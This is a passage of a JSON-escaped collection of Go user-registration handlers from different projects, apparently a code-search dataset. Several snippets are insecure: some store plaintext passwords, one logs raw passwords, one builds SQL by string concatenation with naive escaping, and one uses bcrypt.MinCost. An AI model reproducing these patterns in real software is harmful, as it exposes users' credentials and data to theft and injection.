context.PostForm(\\\"user_phone\\\")\\n\\tuserEmail := context.PostForm(\\\"user_email\\\")\\n\\tuserGender := context.PostForm(\\\"user_gender\\\")\\n\\tuserSign := context.PostForm(\\\"user_sign\\\")\\n\\n\\tuserType := context.PostForm(\\\"user_type\\\")\\n\\tuserTypeInt, _ := strconv.Atoi(userType)\\n\\n\\tif userAcc == \\\"\\\" || userNickName == \\\"\\\" || userPassword == \\\"\\\"{\\n\\t\\tcontext.JSON(http.StatusBadRequest, gin.H{\\n\\t\\t\\t\\\"status\\\": \\\"invalid\\\",\\n\\t\\t\\t\\\"code\\\": http.StatusBadRequest,\\n\\t\\t\\t\\\"msg\\\": \\\"user_acc, user_nick_name, user_password must not be none\\\",\\n\\t\\t\\t\\\"data\\\": \\\"\\\",\\n\\t\\t})\\n\\t}\\n\\tuser := models.User{\\n\\t\\tUserAcc:userAcc,\\n\\t\\tUserAvatar:userAvatar,\\n\\t\\tUserNickName:userNickName,\\n\\t\\tUserPassword:userPassword,\\n\\t\\tUserPhone:userPhone,\\n\\t\\tUserEmail:userEmail,\\n\\t\\tUserGender:userGender,\\n\\t\\tUserSign:userSign,\\n\\t\\tUserType:models.UserType(userTypeInt),\\n\\t}\\n\\tuserTry := models.User{}\\n\\tif db.DB.Where(\\\"user_acc=?\\\", userAcc).First(&userTry).RecordNotFound(){\\n\\t\\t// user not found, create it\\n\\t\\tdb.DB.Create(&user)\\n\\t\\tuAddr := utils.GenAddr(user.ID)\\n\\t\\tuser.UserAddr = \\\"usr\\\" + uAddr\\n\\n\\t\\tlog.Infof(\\\"FUCK GenAddr: %s gened: %s\\\", user.UserAddr, uAddr)\\n\\t\\tdb.DB.Save(&user)\\n\\n\\t\\t// should return a token to user, as well as login\\n\\t\\tclaims := make(map[string]interface{})\\n\\t\\tclaims[\\\"id\\\"] = user.ID\\n\\t\\tclaims[\\\"msg\\\"] = \\\"hiding egg\\\"\\n\\t\\tclaims[\\\"user_addr\\\"] = user.UserAddr\\n\\t\\ttoken, _ := utils.Encrypt(claims)\\n\\t\\tlog.Infof(\\\"Request new user: %s, it is new.\\\", user)\\n\\t\\tdata := map[string]interface{}{\\\"token\\\": token, \\\"id\\\": user.ID, \\\"user_addr\\\": user.UserAddr}\\n\\t\\tcontext.JSON(200, gin.H{\\n\\t\\t\\t\\\"status\\\": \\\"success\\\",\\n\\t\\t\\t\\\"code\\\": http.StatusOK,\\n\\t\\t\\t\\\"msg\\\": \\\"user register succeed.\\\",\\n\\t\\t\\t\\\"data\\\": data,\\n\\t\\t})\\n\\t}else{\\n\\t\\tlog.Info(\\\"user exist.\\\")\\n\\t\\tcontext.JSON(200, gin.H{\\n\\t\\t\\t\\\"status\\\": \\\"conflict\\\",\\n\\t\\t\\t\\\"code\\\": http.StatusConflict,\\n\\t\\t\\t\\\"msg\\\": \\\"user already exist.\\\",\\n\\t\\t\\t\\\"data\\\": nil,\\n\\t\\t})\\n\\t}\\n}\",\n \"func (env *Env) RegisterUser(c *gin.Context) {\\n\\n\\ttype registerRequest struct {\\n\\t\\tUsername string `json:\\\"username\\\"`\\n\\t\\tPassword string `json:\\\"password\\\"`\\n\\t\\tDeviceID string `json:\\\"device_id\\\"`\\n\\t}\\n\\n\\ttype registerResponse struct {\\n\\t\\tAccessToken string `json:\\\"access_token\\\"`\\n\\t\\tRefreshToken string `json:\\\"refresh_token\\\"`\\n\\t\\tUser mysql.User `json:\\\"user\\\"`\\n\\t\\tResetCode string `json:\\\"reset_code\\\"`\\n\\t}\\n\\n\\t//decode request body\\n\\tjsonData, err := ioutil.ReadAll(c.Request.Body)\\n\\tif err != nil {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").WithError(err)\\n\\t\\tc.AbortWithStatusJSON(http.StatusBadRequest, errs.RQST001)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar request registerRequest\\n\\terr = json.Unmarshal(jsonData, &request)\\n\\tif err != nil {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").WithError(err)\\n\\t\\tc.AbortWithStatusJSON(http.StatusBadRequest, errs.RQST001)\\n\\t\\treturn\\n\\t}\\n\\n\\tif request.Username == \\\"\\\" || request.Password == \\\"\\\" || request.DeviceID == \\\"\\\" {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").Error(\\\"Empty Fields in Request Body\\\")\\n\\t\\tc.AbortWithStatusJSON(http.StatusBadRequest, errs.RQST002)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar empty int64\\n\\tresult := env.db.Model(&mysql.User{}).Count(&empty)\\n\\tif result.Error != nil {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").WithError(result.Error)\\n\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser := mysql.User{}\\n\\tperms := mysql.Permissions{}\\n\\tdefaultGroup := mysql.UserGroup{}\\n\\n\\tif empty == 0 {\\n\\n\\t\\tperms.Admin = true\\n\\t\\tperms.CanEdit = true\\n\\n\\t\\tdefaultGroupPerms := mysql.Permissions{CanEdit: false, Admin: false}\\n\\n\\t\\tdefaultGroup.Name = \\\"default\\\"\\n\\n\\t\\tresult = env.db.Save(&defaultGroupPerms)\\n\\t\\tif result.Error != nil {\\n\\t\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").WithError(result.Error)\\n\\t\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tdefaultGroup.Permissions = defaultGroupPerms\\n\\n\\t\\tresult = env.db.Save(&defaultGroup)\\n\\t\\tif result.Error != nil {\\n\\t\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").WithError(result.Error)\\n\\t\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t} else {\\n\\t\\tvar exists int64\\n\\t\\t//Check if Username already exists in Database\\n\\t\\tresult = env.db.Model(&user).Where(\\\"upper(username) = upper(?)\\\", user.Username).Count(&exists)\\n\\t\\tif result.Error != nil {\\n\\t\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").WithError(result.Error)\\n\\t\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").Debug(\\\"Users found: \\\", exists)\\n\\n\\t\\tif exists != 0 {\\n\\t\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").Error(\\\"Username already exists in Database\\\")\\n\\t\\t\\tc.AbortWithStatusJSON(http.StatusForbidden, errs.AUTH004)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tperms.Admin = false\\n\\t\\tperms.CanEdit = false\\n\\n\\t\\tdefaultGroup.Name = \\\"default\\\"\\n\\t\\tresult = env.db.Model(&defaultGroup).Find(&defaultGroup)\\n\\t\\tif result.Error != nil {\\n\\t\\t\\tLog.WithField(\\\"module\\\", \\\"handler\\\").WithError(result.Error)\\n\\t\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t}\\n\\n\\t//Create permission entry for new user in permissions table\\n\\tresult = env.db.Save(&perms)\\n\\tif result.Error != nil {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"sql\\\").WithError(result.Error)\\n\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser.Username = request.Username\\n\\tuser.Password = request.Password\\n\\tuser.AvatarID = \\\"default\\\"\\n\\tuser.PermID = perms.ID\\n\\tuser.UserGroups = append(user.UserGroups, &defaultGroup)\\n\\tuser.ResetCode = utils.GenerateCode()\\n\\n\\t//Save new user to users database\\n\\tresult = env.db.Save(&user)\\n\\tif result.Error != nil {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"sql\\\").WithError(result.Error)\\n\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\\n\\t\\treturn\\n\\t}\\n\\n\\t//Generate JWT AccessToken\\n\\taccessToken, err := utils.JWTAuthService(config.JWTAccessSecret).GenerateToken(user.ID, request.DeviceID, time.Hour*24)\\n\\tif err != nil {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"jwt\\\").WithError(err)\\n\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.AUTH002)\\n\\t\\treturn\\n\\t}\\n\\n\\t//Add AccessToken to Redis\\n\\terr = env.rdis.AddPair(fmt.Sprint(user.ID), accessToken, time.Hour*24)\\n\\tif err != nil {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"redis\\\").WithError(err).Error(\\\"Error adding AccessToken to Redis.\\\")\\n\\t\\terr = nil\\n\\t}\\n\\n\\t//Generate RefreshToken\\n\\trefreshToken, err := utils.JWTAuthService(config.JWTRefreshSecret).GenerateToken(user.ID, request.DeviceID, time.Hour*24)\\n\\tif err != nil {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"jwt\\\").WithError(err)\\n\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.AUTH002)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser.RefreshToken = refreshToken\\n\\n\\t//Save RefreshToken to Database\\n\\tresult = env.db.Save(&user)\\n\\tif result.Error != nil {\\n\\t\\tLog.WithField(\\\"module\\\", \\\"sql\\\").WithError(result.Error)\\n\\t\\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ002)\\n\\t\\treturn\\n\\t}\\n\\n\\tc.JSON(200, registerResponse{AccessToken: accessToken, RefreshToken: refreshToken, User: user, ResetCode: user.ResetCode})\\n}\",\n \"func (AuthenticationController) Register(c *gin.Context) {\\n\\tvar registrationPayload forms.RegistrationForm\\n\\tif validationErr := c.BindJSON(&registrationPayload); validationErr != nil {\\n\\t\\tutils.CreateError(c, http.StatusBadRequest, validationErr.Error())\\n\\t\\treturn\\n\\t}\\n\\tif hashedPass, hashErr := utils.EncryptPassword(registrationPayload.Password); hashErr != nil {\\n\\t\\tutils.CreateError(c, http.StatusInternalServerError, \\\"Failed to hash password.\\\")\\n\\t} else {\\n\\t\\tregistrationPayload.Password = hashedPass\\n\\t\\tuser, prismaErr := client.CreateUser(prisma.UserCreateInput{\\n\\t\\t\\tEmail: registrationPayload.Email,\\n\\t\\t\\tName: registrationPayload.Name,\\n\\t\\t\\tUsername: registrationPayload.Username,\\n\\t\\t\\tPassword: registrationPayload.Password,\\n\\t\\t\\tRole: prisma.RoleDefault,\\n\\t\\t}).Exec(contextB)\\n\\n\\t\\tif prismaErr != nil {\\n\\t\\t\\tlog.Print(prismaErr)\\n\\t\\t\\tutils.CreateError(c, http.StatusNotAcceptable, \\\"Failed to save profile.\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\t// setting session keys\\n\\t\\tsession := sessions.Default(c)\\n\\t\\tsession.Set(\\\"uuid\\\", user.ID)\\n\\t\\tsession.Set(\\\"email\\\", user.Email)\\n\\t\\tsession.Set(\\\"username\\\", user.Username)\\n\\t\\tsession.Set(\\\"role\\\", string(user.Role))\\n\\n\\t\\tif sessionErr := session.Save(); sessionErr != nil {\\n\\t\\t\\tutils.CreateError(c, http.StatusInternalServerError, sessionErr.Error())\\n\\t\\t\\tc.Abort()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tc.JSON(http.StatusOK, gin.H{\\n\\t\\t\\t\\\"name\\\": user.Name,\\n\\t\\t\\t\\\"username\\\": user.Username,\\n\\t\\t\\t\\\"role\\\": user.Role,\\n\\t\\t})\\n\\t}\\n}\",\n \"func Registration(w http.ResponseWriter, r *http.Request) {\\n\\n\\tbody, _ := ioutil.ReadAll(r.Body)\\n\\n\\tuser := models.User{}\\n\\terr := json.Unmarshal(body, &user)\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\\n\\t\\treturn\\n\\t}\\n\\tuser.Prepare()\\n\\terr = user.Validate(\\\"login\\\")\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\\n\\t\\treturn\\n\\t}\\n\\n\\ttoken, err := auth.SignUp(user.Email, user.Password)\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\\n\\t\\treturn\\n\\t}\\n\\tresponses.JSON(w, http.StatusOK, token)\\n}\",\n \"func Register(g *gin.Context) {\\n\\t// init visitor User struct to validate request\\n\\tuser := new(models.User)\\n\\t/**\\n\\t* get request and parse it to validation\\n\\t* if there any error will return with message\\n\\t */\\n\\terr := validations.RegisterValidate(g, user)\\n\\t/***\\n\\t* return response if there an error if true you\\n\\t* this mean you have errors so we will return and bind data\\n\\t */\\n\\tif helpers.ReturnNotValidRequest(err, g) {\\n\\t\\treturn\\n\\t}\\n\\t/**\\n\\t* check if this email exists database\\n\\t* if this email found will return\\n\\t */\\n\\tconfig.Db.Find(&user, \\\"email = ? \\\", user.Email)\\n\\tif user.ID != 0 {\\n\\t\\thelpers.ReturnResponseWithMessageAndStatus(g, 400, \\\"this email is exist!\\\", false)\\n\\t\\treturn\\n\\t}\\n\\t//set type 2\\n\\tuser.Type = 2\\n\\tuser.Password, _ = helpers.HashPassword(user.Password)\\n\\t// create new user based on register struct\\n\\tconfig.Db.Create(&user)\\n\\t// now user is login we can return his info\\n\\thelpers.OkResponse(g, \\\"Thank you for register in our system you can login now!\\\", user)\\n}\",\n \"func SignUp(db *gorm.DB, _ *redis.Client, _ http.ResponseWriter, r *http.Request, s *status.Status) (int, error) {\\n\\ts.Message = status.SignupFailure\\n\\tcredStatus := status.CredentialStatus{}\\n\\tcreds, isValidCred := verifyCredentials(r)\\n\\thashedPass, hashErr := Hash(creds.Password)\\n\\tif !(isValidCred == nil && hashErr == nil) {\\n\\t\\tcredStatus.Username = status.UsernameAlphaNum\\n\\t\\tcredStatus.Email = status.ValidEmail\\n\\t\\tcredStatus.Password = status.PasswordRequired\\n\\t\\ts.Data = credStatus\\n\\t\\treturn http.StatusUnprocessableEntity, nil\\n\\t}\\n\\tcreds.Password = hashedPass\\n\\tuser := model.NewUser()\\n\\tunameAvailable := !SingleRecordExists(db, model.UserTable, model.UsernameColumn, creds.Username, user)\\n\\temailAvailable := !SingleRecordExists(db, model.UserTable, model.EmailColumn, creds.Email, user)\\n\\tif unameAvailable && emailAvailable {\\n\\t\\terr := createUser(db, creds, user)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn http.StatusInternalServerError, fmt.Errorf(http.StatusText(http.StatusInternalServerError))\\n\\t\\t}\\n\\t\\ts.Code = status.SuccessCode\\n\\t\\ts.Message = status.SignupSuccess\\n\\t\\treturn http.StatusCreated, nil\\n\\t}\\n\\tif !unameAvailable {\\n\\t\\tcredStatus.Username = status.UsernameExists\\n\\t}\\n\\tif !emailAvailable {\\n\\t\\tcredStatus.Email = status.EmailExists\\n\\t}\\n\\ts.Data = credStatus\\n\\treturn http.StatusConflict, nil\\n}\",\n \"func (m Users) Register(user User) error {\\n\\tif !isValidPass(user.Password) {\\n\\t\\treturn ErrInvalidPass\\n\\t}\\n\\tif !validEmail.MatchString(user.Email) {\\n\\t\\treturn ErrInvalidEmail\\n\\t}\\n\\thash, err := hashPassword(user.Password)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tsqlStatement := `INSERT INTO users (email, password) VALUES($1, $2) RETURNING id, created_at;`\\n\\t_, err = m.DB.Exec(sqlStatement, user.Email, hash)\\n\\tif err, ok := err.(*pq.Error); ok {\\n\\t\\tif err.Code == \\\"23505\\\" {\\n\\t\\t\\treturn ErrUserAlreadyExist\\n\\t\\t}\\n\\t}\\n\\n\\treturn err\\n}\",\n \"func (ctrl *UserController) Register(c *gin.Context) {\\n\\t// Validate the form\\n\\tvar form auth.RegisterForm\\n\\tif errs := shouldBindJSON(c, &form); errs != nil {\\n\\t\\tc.AbortWithStatusJSON(http.StatusNotAcceptable, *errs)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Check if the email is taken.\\n\\tif ctrl.Repository.EmailTaken(form.Email) {\\n\\t\\tc.AbortWithStatusJSON(http.StatusNotAcceptable, utils.Err(\\\"A user with this email already exists\\\"))\\n\\t\\treturn\\n\\t}\\n\\n\\t// Create the user.\\n\\tuser, err := ctrl.Repository.RegisterUser(form)\\n\\tif err != nil {\\n\\t\\tc.JSON(http.StatusInternalServerError, utils.Err(\\\"Failed to register user\\\"))\\n\\t\\treturn\\n\\t}\\n\\n\\tgenerateTokens(c, user.ID, user.TokenVersion, user)\\n}\",\n \"func (auth *Authstore) Save(p Principal) error {\\n\\n\\tif err:= p.validate(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif user, ok := p.(User); ok {\\n\\t\\t//fail if user email already registered \\n\\t\\tif user.Email() != \\\"\\\" {\\n\\t\\t\\tuserByEmailInfo := auth.GetUserByEmail(user.Email())\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\tif (userByEmailInfo.Name() != user.Name()) {\\n\\t\\t\\t\\t\\t//raise error \\n\\t\\t\\t\\treturn errors.New(\\\"User email already registered\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\terr = auth.bucket.Insert (\\\"principals\\\", &p)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\n\\t//base.LogTo(\\\"Auth\\\", \\\"Saved %s: %s\\\", p._id, data)\\n\\treturn nil \\n\\n}\",\n \"func (u User) Store(r *http.Request, db *sql.DB) (Credentials, error) {\\n\\t// create new credentials\\n\\tcreds := Credentials{\\n\\t\\tcrypt.RandomString(credentialLen),\\n\\t\\tcrypt.RandomString(credentialKeyLen),\\n\\t}\\n\\n\\tvar DBUser User\\n\\t_ = DBUser.GetWithUUID(r, db, u.UUID) // doesn't matter if error just means there is no previous user with UUID\\n\\tif len(DBUser.UUID) > 0 {\\n\\t\\tif len(DBUser.Credentials.Key) == 0 && len(DBUser.Credentials.Value) > 0 {\\n\\t\\t\\tLog(r, log.InfoLevel, fmt.Sprintf(\\\"Credential reset for: %s\\\", crypt.Hash(u.UUID)))\\n\\n\\t\\t\\t// language=PostgreSQL\\n\\t\\t\\tquery := \\\"UPDATE users SET credential_key = $1 WHERE UUID = $2\\\"\\n\\t\\t\\t_, err := db.Exec(query, crypt.PassHash(creds.Key), crypt.Hash(u.UUID))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tLog(r, log.ErrorLevel, err.Error())\\n\\t\\t\\t\\treturn Credentials{}, err\\n\\t\\t\\t}\\n\\t\\t\\tcreds.Value = \\\"\\\"\\n\\t\\t\\treturn creds, nil\\n\\t\\t} else if len(DBUser.Credentials.Key) == 0 && len(DBUser.Credentials.Value) == 0 {\\n\\t\\t\\tLog(r, log.InfoLevel, fmt.Sprintf(\\\"Account reset for: %s\\\", crypt.Hash(u.UUID)))\\n\\n\\t\\t\\t// language=PostgreSQL\\n\\t\\t\\tquery := \\\"UPDATE users SET credential_key = $1, credentials = $2 WHERE UUID = $3\\\"\\n\\t\\t\\t_, err := db.Exec(query, crypt.PassHash(creds.Key), crypt.Hash(creds.Value), crypt.Hash(u.UUID))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tLog(r, log.ErrorLevel, err.Error())\\n\\t\\t\\t\\treturn Credentials{}, err\\n\\t\\t\\t}\\n\\t\\t\\treturn creds, nil\\n\\t\\t}\\n\\t}\\n\\n\\tisNewUser := true\\n\\tif len(DBUser.Credentials.Value) > 0 {\\n\\t\\t// UUID already exists\\n\\t\\tif len(u.Credentials.Key) > 0 && IsValidCredentials(u.Credentials.Value) {\\n\\t\\t\\t// If client passes current details they are asking for new Credentials.\\n\\t\\t\\t// Verify the Credentials passed are valid\\n\\t\\t\\tif u.Verify(r, db) {\\n\\t\\t\\t\\tisNewUser = false\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tLog(r, log.WarnLevel, fmt.Sprintf(\\\"Client passed credentials that were invalid: %s\\\", crypt.Hash(u.Credentials.Value)))\\n\\t\\t\\t\\treturn Credentials{}, errors.New(\\\"Unable to create new credentials.\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// update users Credentials\\n\\tquery := \\\"\\\"\\n\\tif isNewUser {\\n\\t\\t// create new user\\n\\t\\t// language=PostgreSQL\\n\\t\\tquery = \\\"INSERT INTO users (credentials, credential_key, firebase_token, UUID) VALUES ($1, $2, $3, $4)\\\"\\n\\t} else {\\n\\t\\t// update user\\n\\t\\t// language=PostgreSQL\\n\\t\\tquery = \\\"UPDATE users SET credentials = $1, credential_key = $2, firebase_token = $3 WHERE UUID = $4\\\"\\n\\t}\\n\\n\\t_, err := tdb.Exec(r, db, query, crypt.Hash(creds.Value), crypt.PassHash(creds.Key), u.FirebaseToken, crypt.Hash(u.UUID))\\n\\tif err != nil {\\n\\t\\treturn Credentials{}, err\\n\\t}\\n\\treturn creds, nil\\n}\",\n \"func (r *apiV1Router) Register(ctx *gin.Context) {\\n\\tname := ctx.PostForm(\\\"name\\\")\\n\\temail := ctx.PostForm(\\\"email\\\")\\n\\tpassword := ctx.PostForm(\\\"password\\\")\\n\\n\\tif len(name) == 0 || len(email) == 0 || len(password) == 0 {\\n\\t\\tr.logger.Warn(\\\"one of name, email or password not specified\\\", zap.String(\\\"name\\\", name), zap.String(\\\"email\\\", email), zap.String(\\\"password\\\", password))\\n\\t\\tmodels.SendAPIError(ctx, http.StatusBadRequest, \\\"request must include the user's name, email and passowrd\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t_, err := r.userService.GetUserWithEmail(ctx, email)\\n\\tif err == nil {\\n\\t\\tr.logger.Warn(\\\"email taken\\\", zap.String(\\\"email\\\", email))\\n\\t\\tmodels.SendAPIError(ctx, http.StatusBadRequest, \\\"email taken\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif err != services.ErrNotFound {\\n\\t\\tr.logger.Error(\\\"could not query for user with email\\\", zap.String(\\\"email\\\", email), zap.Error(err))\\n\\t\\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \\\"something went wrong while creating new user\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\thashedPassword, err := auth.GetHashForPassword(password)\\n\\tif err != nil {\\n\\t\\tr.logger.Error(\\\"could not make hash for password\\\", zap.Error(err))\\n\\t\\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \\\"something went wrong while creating new user\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tuser, err := r.userService.CreateUser(ctx, name, email, hashedPassword, r.cfg.BaseAuthLevel)\\n\\tif err != nil {\\n\\t\\tr.logger.Error(\\\"could not create user\\\",\\n\\t\\t\\tzap.String(\\\"name\\\", name),\\n\\t\\t\\tzap.String(\\\"email\\\", email),\\n\\t\\t\\tzap.Int(\\\"auth level\\\", int(r.cfg.BaseAuthLevel)),\\n\\t\\t\\tzap.Error(err))\\n\\t\\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \\\"something went wrong while creating new user\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\temailToken, err := auth.NewJWT(*user, time.Now().Unix(), r.cfg.AuthTokenLifetime, auth.Email, []byte(r.env.Get(environment.JWTSecret)))\\n\\tif err != nil {\\n\\t\\tr.logger.Error(\\\"could not generate JWT token\\\",\\n\\t\\t\\tzap.String(\\\"user id\\\", user.ID.Hex()),\\n\\t\\t\\tzap.Bool(\\\"JWT_SECRET set\\\", r.env.Get(environment.JWTSecret) != environment.DefaultEnvVarValue),\\n\\t\\t\\tzap.Error(err))\\n\\t\\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \\\"something went wrong while creating new user\\\")\\n\\t\\tr.userService.DeleteUserWithEmail(ctx, email)\\n\\t\\treturn\\n\\t}\\n\\terr = r.emailService.SendEmailVerificationEmail(*user, emailToken)\\n\\tif err != nil {\\n\\t\\tr.logger.Error(\\\"could not send email verification email\\\",\\n\\t\\t\\tzap.String(\\\"user email\\\", user.Email),\\n\\t\\t\\tzap.String(\\\"noreply email\\\", r.cfg.Email.NoreplyEmailAddr),\\n\\t\\t\\tzap.Bool(\\\"SENDGRID_API_KEY set\\\", r.env.Get(environment.SendgridAPIKey) != environment.DefaultEnvVarValue),\\n\\t\\t\\tzap.Error(err))\\n\\t\\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \\\"something went wrong while creating new user\\\")\\n\\t\\tr.userService.DeleteUserWithEmail(ctx, email)\\n\\t\\treturn\\n\\t}\\n\\n\\tctx.JSON(http.StatusOK, registerRes{\\n\\t\\tResponse: models.Response{\\n\\t\\t\\tStatus: http.StatusOK,\\n\\t\\t},\\n\\t\\tUser: *user,\\n\\t})\\n}\",\n \"func (api *API) Signup(ctx *gin.Context) {\\n\\t// Unmarshall the 'signup' request body.\\n\\tvar signup Signup\\n\\terr := ctx.BindJSON(&signup)\\n\\tif err != nil {\\n\\t\\tctx.JSON(http.StatusBadRequest, gin.H{\\\"errorMessage\\\": fmt.Sprintf(\\\"%s\\\", err)})\\n\\t\\treturn\\n\\t}\\n\\n\\tuserExists, err := api.db.HasUser(ctx, signup.Login.Email)\\n\\tif err != nil {\\n\\t\\tctx.JSON(http.StatusInternalServerError, gin.H{\\\"errorMessage\\\": fmt.Sprintf(\\\"%s\\\", err)})\\n\\t\\treturn\\n\\t}\\n\\n\\tif userExists {\\n\\t\\tctx.JSON(http.StatusConflict, gin.H{\\\"errorMessage\\\": \\\"User already registered.\\\"})\\n\\t} else {\\n\\t\\t// Check password strength.\\n\\t\\tpwd := signup.Password\\n\\t\\terr := validate(pwd)\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.JSON(http.StatusBadRequest, gin.H{\\\"errorMessage\\\": fmt.Sprintf(\\\"%s\\\", err)})\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// Create a new User.\\n\\t\\tid := uuid.New().String()\\n\\t\\tvar user = User{\\n\\t\\t\\tID: string(id),\\n\\t\\t\\tEmail: signup.Email,\\n\\t\\t\\tName: signup.Name,\\n\\t\\t}\\n\\n\\t\\t// Create a new Credential.\\n\\t\\thash, err := bcrypt.GenerateFromPassword([]byte(pwd), bcrypt.MinCost)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Println(err)\\n\\t\\t}\\n\\t\\tvar cred = Credential{\\n\\t\\t\\tUserID: user.ID,\\n\\t\\t\\tPassword: string(hash),\\n\\t\\t}\\n\\n\\t\\t// Save new user and credential entities.\\n\\t\\terr = api.db.CreateUser(ctx, user)\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.JSON(http.StatusBadRequest, gin.H{\\\"errorMessage\\\": fmt.Sprintf(\\\"%s\\\", err)})\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\terr = api.db.CreateCredential(ctx, cred)\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.JSON(http.StatusBadRequest, gin.H{\\\"errorMessage\\\": fmt.Sprintf(\\\"%s\\\", err)})\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tctx.Status(http.StatusOK)\\n\\t}\\n}\",\n \"func (s *AuthServer) Register(ctx context.Context, r *pb.RegisterRequest) (*pb.RegisterResponse, error) {\\n\\tusername := r.GetUsername()\\n\\temail := r.GetEmail()\\n\\tpassword := r.GetPassword()\\n\\tregisterResponse := actions.Register(username, email, password)\\n\\treturn &pb.RegisterResponse{Ok: registerResponse}, nil\\n}\",\n \"func SignUp(firstname string, lastname string, email string, phoneNumber string, password string) bool {\\n\\n\\tdb := connect()\\n\\n\\toutput := true\\n\\n\\tif strings.Contains(firstname, \\\"'\\\") || strings.Contains(lastname, \\\"'\\\") || strings.Contains(email, \\\"'\\\") || strings.Contains(phoneNumber, \\\"'\\\") || strings.Contains(password, \\\"'\\\") {\\n\\t\\tfirstname = strings.Replace(firstname, \\\"'\\\", \\\"\\\\\\\\'\\\", -1)\\n\\t\\tlastname = strings.Replace(lastname, \\\"'\\\", \\\"\\\\\\\\'\\\", -1)\\n\\t\\temail = strings.Replace(email, \\\"'\\\", \\\"\\\\\\\\'\\\", -1)\\n\\t\\tphoneNumber = strings.Replace(phoneNumber, \\\"'\\\", \\\"\\\\\\\\'\\\", -1)\\n\\t\\tpassword = strings.Replace(password, \\\"'\\\", \\\"\\\\\\\\'\\\", -1)\\n\\t}\\n\\n\\tres, _, err := db.Query(\\\"SELECT * FROM customer WHERE email = '\\\" + email + \\\"'\\\")\\n\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"Database Query Error:\\\", err)\\n\\t}\\n\\n\\tif len(res) != 0 {\\n\\t\\toutput = false\\n\\t} else {\\n\\t\\tdb.Query(\\\"INSERT INTO customer (firstName, lastName, email, phoneNumber) VALUES ('\\\" + firstname + \\\"', '\\\" + lastname + \\\"', '\\\" + email + \\\"', '\\\" + phoneNumber + \\\"')\\\")\\n\\n\\t\\tdb.Query(\\\"INSERT INTO account (userName, password, customerId) SELECT '\\\" + email + \\\"', '\\\" + password + \\\"', id FROM customer WHERE email='\\\" + email + \\\"'\\\")\\n\\t}\\n\\n\\tdisconnect(db)\\n\\n\\treturn output\\n}\",\n \"func (user User) Register(c appengine.Context) (User, error) {\\n\\n\\t// If existing user return error\\n\\tpotential_user, err := getUserFromUsername(c, user.Username)\\n\\tif err != nil {\\n\\t\\treturn user, err\\n\\t}\\n\\n\\tif potential_user != (User{}) {\\n\\t\\treturn user, errors.New(\\\"User with this username 